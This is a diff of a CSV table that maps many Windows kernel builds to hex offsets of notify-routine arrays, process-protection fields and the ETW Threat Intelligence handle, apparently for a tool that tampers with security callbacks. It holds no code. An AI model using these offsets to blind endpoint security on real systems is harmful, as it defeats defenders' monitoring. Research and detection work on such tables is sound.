-ntoskrnl_19041-662.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60 -ntoskrnl_19041-685.exe,cec3a0,cec1a0,cebfa0,87a,c198f8,20,60 -ntoskrnl_19041-746.exe,cebfe0,cec3e0,cec1e0,87a,c198f8,20,60 -ntoskrnl_19041-789.exe,cec220,cec620,cec420,87a,c19998,20,60 -ntoskrnl_19041-804.exe,cec420,cec220,cec020,87a,c19918,20,60 -ntoskrnl_19041-844.exe,cec660,cec460,cec260,87a,c19fa8,20,60 -ntoskrnl_19041-867.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60 -ntoskrnl_19041-868.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60 -ntoskrnl_19041-870.exe,cec1e0,cec5e0,cec3e0,87a,c19fa8,20,60 -ntoskrnl_19041-906.exe,cec5e0,cec3e0,cec1e0,87a,c199d0,20,60 -ntoskrnl_19041-928.exe,cec520,cec320,cec120,87a,c19950,20,60 -ntoskrnl_19041-964.exe,cec0e0,cebee0,cec2e0,87a,c19d38,20,60 -ntoskrnl_19041-985.exe,cec360,cec160,cebf60,87a,c19d78,20,60 -ntoskrnl_22000-194.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60 -ntoskrnl_22000-258.exe,cf5f40,cf5d40,cf6140,87a,c15d20,20,60 -ntoskrnl_22000-282.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60 -ntoskrnl_14393-693.exe,33bca0,33baa0,33b8a0,6c2,0,20,50 -ntoskrnl_19041-1.exe,cec0e0,cec2e0,cebee0,87a,c19898,20,60 -ntoskrnl_9600-17031.exe,2e1a40,2e1840,2e1640,67a,0,10,50 -ntoskrnl_9600-19321.exe,2dcb10,2dc910,2dc710,67a,0,20,50 -ntoskrnl_9600-19376.exe,2dbb10,2db910,2db710,67a,0,20,50 -ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50 -ntoskrnl_19041-1348.exe,cec4e0,cec2e0,cec0e0,87a,c197c0,20,60 -ntoskrnl_19041-1387.exe,cec1a0,cec3a0,cebfa0,87a,c197a0,20,60 -ntoskrnl_22000-348.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60 -ntoskrnl_22000-318.exe,cf5f00,cf5d00,cf6100,87a,c163d0,20,60 -ntoskrnl_14393-4704.exe,339e60,339c60,339a60,6ca,0,20,50 -ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38 -ntoskrnl_14393-4771.exe,339e60,339c60,339a60,6ca,0,20,50 -ntoskrnl_17763-2305.exe,4d5b70,4d5770,4d5970,6ca,406438,20,60 -ntoskrnl_17763-2237.exe,4d6b70,4d6770,4d6970,6ca,407438,20,60 -ntoskrnl_7601-25740.exe,21c500,21c2e0,21c0c0,0,0,20,50 -ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50 -ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50 -ntoskrnl_9200-23516.exe,2452a0,2454c0,2456e0,0,0,10,50 -ntoskrnl_19041-1415.exe,cec1e0,cec3e0,cebfe0,87a,c197c0,20,60 -ntoskrnl_22000-376.exe,cf5e00,cf6200,cf6000,87a,c15d40,20,60 +ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset,PsProcessType,PsThreadType,CallbackList +ntoskrnl_19041-1889.exe,cec060,cec460,cec260,87a,c19dd8,20,60,cfc410,cfc440,c8 +ntoskrnl_10240-17609.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 +ntoskrnl_10240-17738.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 +ntoskrnl_10240-17394.exe,35d420,35d220,35d020,6aa,0,20,50,3c51e8,3c5200,c8 +ntoskrnl_10240-16384.exe,35d2e0,35d0e0,35cee0,6aa,0,20,50,3c51e8,3c5200,c8 +ntoskrnl_10240-17643.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 +ntoskrnl_10240-17446.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8 +ntoskrnl_10240-17709.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 +ntoskrnl_10240-17770.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 +ntoskrnl_10240-17533.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 +ntoskrnl_10240-17488.exe,35c3e0,35c1e0,35bfe0,6aa,0,20,50,3c41e8,3c4200,c8 +ntoskrnl_10240-17443.exe,35c420,35c220,35c020,6aa,0,20,50,3c41e8,3c4200,c8 +ntoskrnl_10240-18005.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-17797.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 +ntoskrnl_10240-18063.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-17831.exe,366520,366320,366120,6b2,0,20,50,3cd1e8,3cd200,c8 +ntoskrnl_10240-17889.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8 +ntoskrnl_10240-17976.exe,3694e0,3692e0,3690e0,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-17861.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cd228,3cd240,c8 +ntoskrnl_10240-18158.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-18036.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-18132.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-18094.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-17914.exe,3644e0,3642e0,3640e0,6b2,0,20,50,3cc228,3cc248,c8 +ntoskrnl_10240-18545.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 +ntoskrnl_10240-18275.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-18303.exe,369520,369320,369120,6b2,0,20,50,3d0228,3d0248,c8 +ntoskrnl_10240-18452.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8 +ntoskrnl_10240-18575.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 +ntoskrnl_10240-18427.exe,367520,367320,367120,6b2,0,20,50,3cd228,3cd248,c8 +ntoskrnl_10240-18638.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 +ntoskrnl_10240-18608.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 +ntoskrnl_10240-18485.exe,3684e0,3682e0,3680e0,6b2,0,20,50,3ce228,3ce248,c8 +ntoskrnl_10240-18666.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 +ntoskrnl_10240-18725.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 +ntoskrnl_10240-18756.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 +ntoskrnl_10240-19119.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8 +ntoskrnl_10240-18906.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 +ntoskrnl_10240-18841.exe,367560,367360,367160,6b2,0,20,50,3cd228,3cd248,c8 +ntoskrnl_10240-19086.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8 +ntoskrnl_10240-19145.exe,3664e0,3662e0,3660e0,6b2,0,20,50,3cc228,3cc248,c8 +ntoskrnl_10586-0.exe,317180,316f80,316d80,6b2,0,20,50,37f228,37f248,c8 +ntoskrnl_10586-1177.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8 +ntoskrnl_10586-1295.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8 +ntoskrnl_10586-1176.exe,3161c0,315fc0,315dc0,6b2,0,20,50,37e228,37e248,c8 +ntoskrnl_10240-19235.exe,366520,366320,366120,6b2,0,20,50,3cc228,3cc248,c8 +ntoskrnl_10586-1356.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8 +ntoskrnl_10586-1417.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8 +ntoskrnl_10586-1478.exe,31a2c0,31a0c0,319ec0,6ba,0,20,50,382228,382248,c8 +ntoskrnl_10586-1540.exe,31a300,31a100,319f00,6ba,0,20,50,382228,382248,c8 +ntoskrnl_14393-2214.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8 +ntoskrnl_14393-1198.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8 +ntoskrnl_14393-1670.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8 +ntoskrnl_14393-1770.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8 +ntoskrnl_14393-0.exe,33bba0,33b9a0,33b7a0,6c2,0,20,50,3a8210,3a8230,c8 +ntoskrnl_14393-1532.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8 +ntoskrnl_14393-2189.exe,33ea20,33e820,33e620,6ca,0,20,50,3ab210,3ab230,c8 +ntoskrnl_14393-2248.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8 +ntoskrnl_14393-1737.exe,3348a0,3346a0,3344a0,6c2,0,20,50,3a0210,3a0230,c8 +ntoskrnl_14393-2273.exe,33da60,33d860,33d660,6ca,0,20,50,3aa250,3aa270,c8 +ntoskrnl_14393-2363.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8 +ntoskrnl_14393-2312.exe,33ca20,33c820,33c620,6ca,0,20,50,3a9250,3a9278,c8 +ntoskrnl_14393-2430.exe,338b60,338960,338760,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2485.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2395.exe,33bb60,33b960,33b760,6ca,0,20,50,3a8250,3a8278,c8 +ntoskrnl_14393-2580.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2551.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2636.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2608.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2665.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2724.exe,338be0,3389e0,3387e0,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2791.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2969.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-2906.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-2848.exe,338b20,338920,338720,6ca,0,20,50,3a5250,3a5278,c8 +ntoskrnl_14393-3204.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3085.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3115.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3269.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3143.exe,339a20,339820,339620,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3241.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3297.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3321.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3383.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3442.exe,339a60,339860,339660,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-3471.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3564.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3503.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3541.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3595.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3630.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3686.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3755.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3808.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3750.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3659.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3930.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3866.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-3986.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4104.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4046.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4169.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4225.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4283.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4350.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4402.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4467.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4470.exe,33aee0,33ace0,33aae0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4583.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4530.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4651.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4704.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-4770.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-4825.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-4771.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-4827.exe,339e60,339c60,339a60,6ca,0,20,50,3a6250,3a6278,c8 +ntoskrnl_14393-4889.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4946.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-5006.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-4886.exe,33ade0,33abe0,33a9e0,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-5066.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-5125.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-5192.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7250,3a7278,c8 +ntoskrnl_14393-5246.exe,33ae60,33ac60,33aa60,6ca,0,20,50,3a7258,3a7278,c8 +ntoskrnl_14393-576.exe,33bca0,33baa0,33b8a0,6c2,0,20,50,3a8210,3a8230,c8 +ntoskrnl_14393-693.exe,33bca0,33baa0,33b8a0,6c2,0,20,50,3a8210,3a8230,c8 +ntoskrnl_14393-726.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8 +ntoskrnl_14393-953.exe,335860,335660,335460,6c2,0,20,50,3a1210,3a1230,c8 +ntoskrnl_15063-1155.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8 +ntoskrnl_15063-1088.exe,3894d0,3892d0,3890d0,6ca,348fb8,20,50,3e7f98,3e7fb0,c8 +ntoskrnl_15063-1206.exe,387510,387310,387110,6ca,346f68,20,50,3e5f98,3e5fb8,c8 +ntoskrnl_15063-1266.exe,384410,384210,384010,6ca,343f48,20,50,3e2f98,3e2fb8,c8 +ntoskrnl_15063-1029.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8 +ntoskrnl_15063-13.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8 +ntoskrnl_15063-1324.exe,385490,385290,385090,6ca,344f88,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1387.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1418.exe,385490,385290,385090,6ca,344f98,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1446.exe,385490,385290,385090,6ca,344fa8,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1478.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1596.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1563.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1746.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1631.exe,385450,385250,385050,6ca,344f68,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1805.exe,3853d0,3851d0,384fd0,6ca,344e78,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1987.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1689.exe,3854d0,3852d0,3850d0,6ca,344fd8,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-1928.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-2017.exe,385450,385250,385050,6ca,344e48,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-2045.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-2076.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-2106.exe,385350,385150,384f50,6ca,344e48,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-2283.exe,385410,385210,385010,6ca,344e68,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-674.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8 +ntoskrnl_15063-296.exe,382290,382090,381e90,6ca,341ea8,20,50,3e1f98,3e1fb0,c8 +ntoskrnl_15063-850.exe,389450,389250,389050,6ca,348fb8,20,50,3e7f98,3e7fb0,c8 +ntoskrnl_15063-2500.exe,3853d0,3851d0,384fd0,6ca,344e48,20,50,3e3f98,3e3fb8,c8 +ntoskrnl_15063-786.exe,382310,382110,381f10,6ca,341ec8,20,50,3e1f98,3e1fb0,c8 +ntoskrnl_15063-966.exe,389550,389350,389150,6ca,348fa8,20,50,3e7f98,3e7fb0,c8 +ntoskrnl_15063-675.exe,3822d0,3820d0,381ed0,6ca,341e88,20,50,3e1f98,3e1fb0,c8 +ntoskrnl_15063-909.exe,389510,389310,389110,6ca,348fa8,20,50,3e7f98,3e7fb0,c8 +ntoskrnl_16299-1004.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-1087.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-1029.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-1120.exe,39ff00,3a0100,39fd00,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-1146.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-1182.exe,3a0d00,3a0f00,3a0b00,6ca,35e8a0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-1217.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8 +ntoskrnl_16299-125.exe,398a80,398c80,398e80,6ca,356980,20,50,3f90d0,3f90f0,c8 +ntoskrnl_16299-1364.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8 +ntoskrnl_16299-1419.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8 +ntoskrnl_16299-1448.exe,3a1040,3a0c40,3a0e40,6ca,35e988,20,50,4010d0,4010f8,c8 +ntoskrnl_16299-15.exe,398c80,398e80,398a80,6ca,356908,20,50,3f90d0,3f90f0,c8 +ntoskrnl_16299-1331.exe,3a1000,3a0c00,3a0e00,6ca,35e968,20,50,4010d0,4010f8,c8 +ntoskrnl_16299-1622.exe,3a0fc0,3a0bc0,3a0dc0,6ca,35e988,20,50,4010d0,4010f8,c8 +ntoskrnl_16299-1747.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-1775.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-192.exe,39dd40,39df40,39db40,6ca,35b980,20,50,3fd0d0,3fd0f0,c8 +ntoskrnl_16299-19.exe,398c80,398e80,398a80,6ca,3568e8,20,50,3f90d0,3f90f0,c8 +ntoskrnl_16299-2166.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8 +ntoskrnl_16299-2045.exe,3a1100,3a0d00,3a0f00,6ca,35e988,20,50,4010d0,4010f8,c8 +ntoskrnl_16299-1992.exe,3a0cc0,3a0ec0,3a0ac0,6ca,35e8c0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-214.exe,39ddc0,39dfc0,39dbc0,6ca,35b980,20,50,3fe0d0,3fe0f0,c8 +ntoskrnl_16299-309.exe,39e0c0,39dcc0,39dec0,6ca,35bae8,20,50,3fe0d0,3fe0f0,c8 +ntoskrnl_16299-251.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8 +ntoskrnl_16299-248.exe,39e100,39dd00,39df00,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8 +ntoskrnl_16299-334.exe,39e0c0,39dcc0,39dec0,6ca,35bac8,20,50,3fe0d0,3fe0f0,c8 +ntoskrnl_16299-371.exe,39ce40,39d040,39cc40,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8 +ntoskrnl_16299-431.exe,39ce00,39d000,39cc00,6ca,35aa00,20,50,3fd0d0,3fd0f0,c8 +ntoskrnl_16299-461.exe,39d080,39cc80,39ce80,6ca,35aa88,20,50,3fd0d0,3fd0f0,c8 +ntoskrnl_16299-402.exe,39d0c0,39ccc0,39cec0,6ca,35aaa8,20,50,3fd0d0,3fd0f0,c8 +ntoskrnl_16299-492.exe,39b080,39ac80,39ae80,6ca,358aa8,20,50,3fb0d0,3fb0f8,c8 +ntoskrnl_16299-522.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8 +ntoskrnl_16299-551.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8 +ntoskrnl_16299-547.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8 +ntoskrnl_16299-637.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-611.exe,39fe00,3a0000,39fc00,6ca,35d9e0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-579.exe,3a2f00,3a3100,3a2d00,6ca,360ac0,20,50,4030d0,4030f8,c8 +ntoskrnl_16299-64.exe,398c40,398e40,398a40,6ca,3568e8,20,50,3f90d0,3f90f0,c8 +ntoskrnl_16299-665.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-699.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-666.exe,39fe80,3a0080,39fc80,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-726.exe,39fdc0,39ffc0,39fbc0,6ca,35da00,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-755.exe,3a0080,39fc80,39fe80,6ca,35da88,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-785.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-820.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-846.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-98.exe,398ec0,398ac0,398cc0,6ca,356980,20,50,3f90d0,3f90f0,c8 +ntoskrnl_16299-904.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_16299-967.exe,39fec0,3a00c0,39fcc0,6ca,35dac0,20,50,4000d0,4000f8,c8 +ntoskrnl_17134-1.exe,3f4ef0,3f50f0,3f4cf0,6ca,3b2120,20,50,45e250,45e270,c8 +ntoskrnl_17134-1006.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fc8,20,50,44d250,44d278,c8 +ntoskrnl_17134-1038.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8 +ntoskrnl_17134-1098.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8 +ntoskrnl_17134-1067.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fb0,20,50,44d250,44d278,c8 +ntoskrnl_17134-112.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8 +ntoskrnl_17134-1130.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8 +ntoskrnl_17134-1246.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8 +ntoskrnl_17134-1345.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44d250,44d278,c8 +ntoskrnl_17134-1184.exe,3e4fb0,3e4bb0,3e4db0,6ca,3a1fb0,20,50,44d250,44d278,c8 +ntoskrnl_17134-1365.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8 +ntoskrnl_17134-137.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8 +ntoskrnl_17134-1304.exe,3e4ef0,3e4af0,3e4cf0,6ca,3a1fe8,20,50,44d250,44d278,c8 +ntoskrnl_17134-1425.exe,3e4e30,3e5030,3e4c30,6ca,3a2000,20,50,44d250,44d278,c8 +ntoskrnl_17134-1488.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8 +ntoskrnl_17134-1550.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8 +ntoskrnl_17134-165.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8 +ntoskrnl_17134-1610.exe,3e4db0,3e4fb0,3e4bb0,6ca,3a1fe0,20,50,44c250,44c278,c8 +ntoskrnl_17134-1667.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8 +ntoskrnl_17134-1845.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 +ntoskrnl_17134-167.exe,3f1e30,3f2030,3f1c30,6ca,3af088,20,50,45b250,45b278,c8 +ntoskrnl_17134-1726.exe,3e4ff0,3e4bf0,3e4df0,6ca,3a1f88,20,50,44c250,44c278,c8 +ntoskrnl_17134-1792.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 +ntoskrnl_17134-1902.exe,3e4f70,3e4b70,3e4d70,6ca,3a1fd0,20,50,44c250,44c278,c8 